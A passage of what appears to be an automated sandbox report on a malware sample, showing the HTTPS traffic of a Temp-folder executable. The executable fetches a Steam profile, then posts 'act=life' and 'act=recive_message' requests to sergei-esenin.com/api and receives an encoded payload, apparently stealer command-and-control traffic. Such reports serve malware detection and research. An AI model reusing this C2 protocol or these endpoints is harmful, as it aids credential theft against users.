/><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElem
2024-10-18 13:04:15 UTC	1369	IN	Data Raw: 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ccess-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-18 13:04:15 UTC	901	IN	Data Raw: 2e 31 38 36 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 Data Ascii: .186</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-la
2024-10-18 13:04:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49890	104.102.49.254	443	1168	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:27 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-18 13:04:28 UTC	1891	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://ste [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 18 Oct 2024 13:04:28 GMT Content-Length: 34508 Connection: close Set-Cookie: sessionid=7599393057156c75c8e22158; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd883ccb3237fa39d2837163d0f38217b; Path=/; Secure; HttpOnly; SameSite=None
2024-10-18 13:04:28 UTC	14493	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-18 13:04:28 UTC	16384	IN	Data Raw: 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6d 65 6e 75 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 41 63 63 6f 75 6e 74 20 4d 65 Data Ascii: etY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_action_menu" aria-label="Account Me
2024-10-18 13:04:28 UTC	3631	IN	Data Raw: 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 20 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 5f 69 6e 6e 65 72 22 3e 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 0d 0a 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 72 69 67 68 74 63 6f 6c 22 3e 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 73 74 61 74 75 73 5f 69 6e 66 6f 22 3e 0d 0a Data Ascii: y'] ); } ); </script></div></div></div></div></div><div class="profile_content "><div class="profile_content_inner"><div class="profile_rightcol"><div class="responsive_status_info">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49901	104.21.53.8	443	1168	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:29 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-18 13:04:29 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-18 13:04:29 UTC	560	IN	HTTP/1.1 403 Forbidden Date: Fri, 18 Oct 2024 13:04:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e5lBCMPs%2Flow7FW5CY7FT9uN0ldwZWIIb8ht%2FunKx2EKGy2UqXWBVzUwQdaMfElMdVGNfvgc6hA3qJrY89B6N8gIPL%2BsD9wIfpjmgJ0qFarrTc5yxPdfqtetOqJ740khjRn5Fg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bc06afd82fd0-DFW
2024-10-18 13:04:29 UTC	809	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-18 13:04:29 UTC	1369	IN	Data Raw: 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 Data Ascii: i/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementB
2024-10-18 13:04:29 UTC	1369	IN	Data Raw: 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: s-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-18 13:04:29 UTC	897	IN	Data Raw: 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e Data Ascii: </span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landin
2024-10-18 13:04:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49907	104.21.53.8	443	1168	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:30 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=LAlU2jiP0ih1GCQ2tR8pCO9umtnkgr__mMhgdSGI1E8-1729256669-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-18 13:04:30 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-18 13:04:30 UTC	825	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j8k585empil72llnq1ro82fsqe; expires=Tue, 11 Feb 2025 06:51:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=87j6u%2BPwhCGDXHjOdFEXAzCIZK0zYumBVp3dp6MWUyv4SG2GpM3XIx9QhsficXxswkxE%2BLhsMPWLqR7jmgaVnO4ZToAaUQnVti2y5Yd7YYXSKNaajBOnXhjJY9pnNro7KbGS9A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bc0d484c6b0d-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:04:30 UTC	544	IN	Data Raw: 31 64 39 32 0d 0a 4e 45 76 32 62 7a 53 48 2f 47 7a 30 6c 79 65 67 52 69 62 31 70 41 59 74 49 66 6d 45 47 31 48 4d 33 44 44 33 34 79 4f 47 34 38 52 50 61 59 42 4e 44 72 50 51 54 6f 66 79 42 5a 6f 79 56 49 44 42 4b 67 39 41 6e 61 59 68 4e 36 32 77 51 35 4c 50 41 66 43 4f 35 67 34 74 6c 77 4e 48 34 74 42 4f 6b 65 38 46 6d 68 31 64 31 38 46 6f 44 78 76 62 34 58 45 7a 72 62 42 53 6c 6f 68 4d 39 6f 2b 6e 58 43 65 52 42 31 48 6b 6d 41 32 59 2b 6b 4c 46 49 30 65 66 79 6d 39 41 53 5a 53 6d 4e 33 4f 70 70 68 4c 4e 77 57 37 6a 6c 36 56 35 4b 6f 55 45 46 76 72 51 46 39 62 79 53 59 4a 38 42 4a 54 42 5a 45 46 48 6e 65 39 7a 4f 61 53 34 55 35 4f 4a 55 2b 2b 46 72 46 77 70 6b 67 5a 62 37 59 77 41 6b 76 31 4a 77 79 6c 48 31 34 67 6b 53 46 76 62 76 6a 6c 67 6e 4c 31 44 68 Data Ascii: 1d92NEv2bzSH/Gz0lyegRib1pAYtIfmEG1HM3DD34yOG48RPaYBNDrPQTofyBZoyVIDBKg9AnaYhN62wQ5LPAfCO5g4tlwNH4tBOke8Fmh1d18FoDxvb4XEzrbBSlohM9o+nXCeRB1HkmA2Y+kLFI0efym9ASZSmN3OpphLNwW7jl6V5KoUEFvrQF9bySYJ8BJTBZEFHne9zOaS4U5OJU++FrFwpkgZb7YwAkv1JwylH14gkSFvbvjlgnL1Dh
2024-10-18 13:04:30 UTC	1369	IN	Data Raw: 72 6a 4f 58 33 75 75 55 72 56 32 51 48 4b 68 71 56 45 61 36 45 4f 57 4f 75 5a 47 4e 62 71 43 39 74 6b 51 35 75 47 50 41 39 4e 6e 75 6c 72 4d 72 79 37 58 49 65 4e 52 4f 4b 4d 70 56 67 70 6b 51 70 62 36 35 67 4a 6c 66 31 42 77 79 70 49 6e 63 56 67 54 41 50 56 70 6e 34 72 37 75 59 53 70 49 4a 46 34 35 4f 6c 57 47 6d 4c 51 30 2b 6c 6d 51 4c 57 72 51 58 49 49 6b 6d 65 7a 57 4e 48 54 34 6e 74 64 6a 43 6e 75 56 53 66 67 6b 6e 75 68 36 68 58 4c 70 45 4b 52 4f 75 56 41 35 58 2f 51 34 4a 71 42 4a 44 65 4a 42 63 44 74 65 56 6f 4a 5a 79 39 51 34 54 42 58 71 71 59 35 6c 45 6c 31 46 55 57 37 4a 59 42 6d 2f 68 50 7a 43 46 4a 6e 73 64 6c 51 6b 57 51 35 33 45 37 71 72 6c 53 6b 59 78 4f 36 6f 47 6f 58 69 79 51 42 31 2b 6c 30 45 36 52 37 51 57 61 5a 48 53 61 79 6d 39 44 41 Data Ascii: rjOX3uuUrV2QHKhqVEa6EOWOuZGNbqC9tkQ5uGPA9NnulrMry7XIeNROKMpVgpkQpb65gJlf1BwypIncVgTAPVpn4r7uYSpIJF45OlWGmLQ0+lmQLWrQXIIkmezWNHT4ntdjCnuVSfgknuh6hXLpEKROuVA5X/Q4JqBJDeJBcDteVoJZy9Q4TBXqqY5lEl1FUW7JYBm/hPzCFJnsdlQkWQ53E7qrlSkYxO6oGoXiyQB1+l0E6R7QWaZHSaym9DA
2024-10-18 13:04:30 UTC	1369	IN	Data Raw: 79 6f 72 42 41 6b 6f 46 49 36 6f 36 71 58 79 53 54 41 46 33 76 6b 77 71 52 39 41 57 4d 5a 45 4f 50 68 6a 77 50 64 59 76 72 64 52 32 6c 73 6c 76 56 6e 67 2f 39 77 61 46 61 61 63 78 4e 55 75 6d 57 42 4a 6e 38 54 38 67 72 54 5a 66 4f 62 55 5a 41 6d 2b 70 2f 4d 71 4b 79 58 35 43 43 52 4f 6d 45 70 6c 6f 75 6b 77 77 57 71 39 34 4a 6a 72 55 64 67 68 52 4a 6d 38 31 6f 44 58 61 59 36 48 63 30 75 50 35 4e 32 35 67 42 34 34 33 6d 44 6d 6d 62 44 46 76 76 6c 51 43 61 39 45 58 47 4a 30 36 58 79 57 46 4a 53 35 4c 6d 61 7a 53 68 76 31 4f 65 69 6b 7a 71 68 4b 64 54 4c 74 52 44 46 75 4b 47 54 73 36 31 61 4f 73 65 42 49 69 49 66 51 39 45 6c 36 59 68 63 36 71 30 55 70 69 4c 53 75 75 43 6f 56 67 70 6d 51 64 45 37 5a 34 4f 6d 50 4e 45 7a 69 46 46 6d 38 56 32 51 30 57 57 34 48 Data Ascii: yorBAkoFI6o6qXySTAF3vkwqR9AWMZEOPhjwPdYvrdR2lslvVng/9waFaacxNUumWBJn8T8grTZfObUZAm+p/MqKyX5CCROmEploukwwWq94JjrUdghRJm81oDXaY6Hc0uP5N25gB443mDmmbDFvvlQCa9EXGJ06XyWFJS5LmazShv1OeikzqhKdTLtRDFuKGTs61aOseBIiIfQ9El6Yhc6q0UpiLSuuCoVgpmQdE7Z4OmPNEziFFm8V2Q0WW4H
2024-10-18 13:04:30 UTC	1369	IN	Data Raw: 51 4a 2b 4c 54 2b 47 4f 6f 31 55 6d 6b 77 42 51 36 5a 51 48 6e 76 4e 4b 79 7a 5a 48 6d 38 68 6a 51 55 2b 56 36 33 4d 77 6f 2f 34 63 31 59 5a 5a 70 4e 6e 6d 65 69 36 5a 49 31 33 70 6d 55 36 4a 75 31 79 43 49 30 6a 58 6e 69 52 44 53 5a 66 76 65 54 71 72 74 6c 6d 63 68 45 44 76 68 4b 56 51 4a 4a 73 45 52 4f 2b 64 41 4a 58 35 53 63 51 6c 52 34 58 4f 62 51 38 4e 32 2b 46 68 63 2f 62 2b 63 35 75 4d 56 65 4f 52 35 6b 6c 6e 6a 55 31 52 36 64 35 57 31 76 5a 45 7a 53 64 46 6d 73 42 74 52 30 4f 64 34 33 59 2b 6f 4c 6c 56 6c 59 78 50 36 34 65 75 57 79 57 66 41 31 2f 6a 6e 67 2b 63 74 51 75 43 49 31 7a 58 6e 69 52 2f 51 4a 76 6d 59 6e 4f 78 38 45 76 56 68 6b 32 6b 32 65 5a 45 49 35 30 4e 56 65 71 5a 43 70 33 35 51 4d 63 72 52 35 37 44 62 55 46 52 6b 75 68 78 4f 36 47 Data Ascii: QJ+LT+GOo1UmkwBQ6ZQHnvNKyzZHm8hjQU+V63Mwo/4c1YZZpNnmei6ZI13pmU6Ju1yCI0jXniRDSZfveTqrtlmchEDvhKVQJJsERO+dAJX5ScQlR4XObQ8N2+Fhc/b+c5uMVeOR5klnjU1R6d5W1vZEzSdFmsBtR0Od43Y+oLlVlYxP64euWyWfA1/jng+ctQuCI1zXniR/QJvmYnOx8EvVhk2k2eZEI50NVeqZCp35QMcrR57DbUFRkuhxO6G
2024-10-18 13:04:30 UTC	1369	IN	Data Raw: 6b 4c 72 67 71 56 58 49 34 59 66 57 75 79 57 43 35 72 2b 53 38 51 32 51 70 6a 50 5a 30 78 4b 6e 4f 35 31 4f 61 32 35 45 74 76 42 52 76 7a 42 2f 68 59 4b 67 78 31 62 70 59 46 41 6a 37 56 43 7a 6d 51 63 31 38 35 70 52 30 6d 66 34 58 51 30 71 4c 64 41 6e 49 52 50 35 49 57 74 57 53 2b 51 44 6c 62 33 6d 41 71 65 39 6b 6a 50 4b 6b 65 54 68 69 6f 50 52 49 4f 6d 49 58 4f 63 73 31 79 4f 6a 6b 62 31 69 2b 5a 4a 5a 34 31 4e 55 65 6e 65 56 74 62 78 53 39 41 76 52 5a 7a 4e 61 6b 68 4d 6e 75 78 35 50 4b 71 39 58 4a 36 41 51 75 79 4d 71 31 67 6a 6e 51 52 52 36 5a 6f 4a 31 72 73 46 78 54 77 45 7a 34 5a 50 62 6d 36 33 34 57 4e 7a 73 66 42 4c 31 59 5a 4e 70 4e 6e 6d 57 69 43 59 42 31 33 69 6c 41 43 66 2b 30 37 51 4e 6b 65 54 78 57 31 4d 52 4a 4c 6f 65 54 53 72 73 46 57 55 Data Ascii: kLrgqVXI4YfWuyWC5r+S8Q2QpjPZ0xKnO51Oa25EtvBRvzB/hYKgx1bpYFAj7VCzmQc185pR0mf4XQ0qLdAnIRP5IWtWS+QDlb3mAqe9kjPKkeThioPRIOmIXOcs1yOjkb1i+ZJZ41NUeneVtbxS9AvRZzNakhMnux5PKq9XJ6AQuyMq1gjnQRR6ZoJ1rsFxTwEz4ZPbm634WNzsfBL1YZNpNnmWiCYB13ilACf+07QNkeTxW1MRJLoeTSrsFWU
2024-10-18 13:04:30 UTC	1369	IN	Data Raw: 6e 6d 65 79 57 54 4a 46 48 2b 33 68 48 59 37 41 58 46 4b 41 54 50 68 6d 56 45 53 5a 54 72 65 6a 57 74 74 56 65 66 67 45 62 73 6a 4c 52 56 4a 70 73 4a 56 75 71 59 43 4a 66 36 51 38 55 74 52 5a 2f 42 4a 41 45 44 6e 50 34 35 61 2b 36 51 56 5a 61 46 41 66 76 50 76 78 59 75 6d 45 30 4f 70 5a 34 45 6e 50 39 4c 77 69 4e 57 6b 63 39 6b 54 46 47 59 34 48 45 31 6f 72 4a 66 6e 59 68 42 34 59 71 72 58 53 53 53 44 56 33 6b 33 6b 44 57 38 6c 32 43 66 41 53 6d 79 32 70 4c 54 5a 6a 32 66 6e 4f 78 38 45 76 56 68 6b 32 6b 32 65 5a 5a 49 49 59 4b 55 2b 32 58 44 70 6a 38 54 4d 55 67 52 35 62 43 61 45 42 4b 6d 4f 35 34 4f 36 47 39 55 70 36 4a 53 2b 57 50 6f 78 5a 6e 31 41 70 4f 70 63 5a 4f 75 66 5a 41 79 53 55 47 73 4d 42 6a 51 77 4f 45 71 47 42 7a 71 62 49 53 7a 63 46 43 34 Data Ascii: nmeyWTJFH+3hHY7AXFKATPhmVESZTrejWttVefgEbsjLRVJpsJVuqYCJf6Q8UtRZ/BJAEDnP45a+6QVZaFAfvPvxYumE0OpZ4EnP9LwiNWkc9kTFGY4HE1orJfnYhB4YqrXSSSDV3k3kDW8l2CfASmy2pLTZj2fnOx8EvVhk2k2eZZIIYKU+2XDpj8TMUgR5bCaEBKmO54O6G9Up6JS+WPoxZn1ApOpcZOufZAySUGsMBjQwOEqGBzqbISzcFC4
